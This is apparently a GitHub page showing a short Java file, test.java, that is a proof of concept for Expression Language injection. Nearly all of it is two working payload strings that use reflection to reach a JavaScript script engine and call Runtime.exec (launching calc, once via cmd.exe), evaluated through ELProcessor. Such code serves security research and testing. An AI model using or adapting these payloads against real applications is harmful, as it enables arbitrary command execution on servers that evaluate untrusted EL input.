FilesExpand file tree

 main

/

test.java

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

24 lines (19 loc) · 878 Bytes

 main

/

test.java

Copy path

Top

File metadata and controls

• Code
• Blame

24 lines (19 loc) · 878 Bytes

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

package shell.EL;

import javax.el.ELProcessor;

public class test {

public static void main(String[] args) throws Exception {

String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";

String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +

".newInstance().getEngineByName('nashorn')" +

".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

ELeval(payload);

}

public static void ELeval(String payload){

ELProcessor elProcessor = new ELProcessor();

try {

elProcessor.eval(payload);

} catch (Exception e) {

e.printStackTrace();

}

}

}